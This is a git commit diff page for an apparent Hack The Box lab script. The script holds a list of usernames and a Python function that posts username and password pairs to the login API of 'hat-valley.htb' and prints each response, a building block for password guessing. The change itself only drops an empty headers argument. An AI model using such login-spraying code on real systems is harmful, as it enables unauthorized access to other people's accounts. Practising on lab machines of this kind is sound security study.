dsa
This commit is contained in:
+1
-2
@@ -6,12 +6,11 @@ usrn = ["bean.hill", "christine.wool", "christopher.jones", "jackson.lightheart"
|
|||||||
|
|
||||||
def ayy(username, password):
|
def ayy(username, password):
|
||||||
endpoint = "http://hat-valley.htb/api/login"
|
endpoint = "http://hat-valley.htb/api/login"
|
||||||
headers = ""
|
|
||||||
payload = {
|
payload = {
|
||||||
"username" : username,
|
"username" : username,
|
||||||
"password" : password,
|
"password" : password,
|
||||||
}
|
}
|
||||||
r = post(endpoint, json=payload, headers = headers)
|
r = post(endpoint, json=payload)
|
||||||
print("[+] " + r.text)
|
print("[+] " + r.text)
|
||||||
return r.text
|
return r.text
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user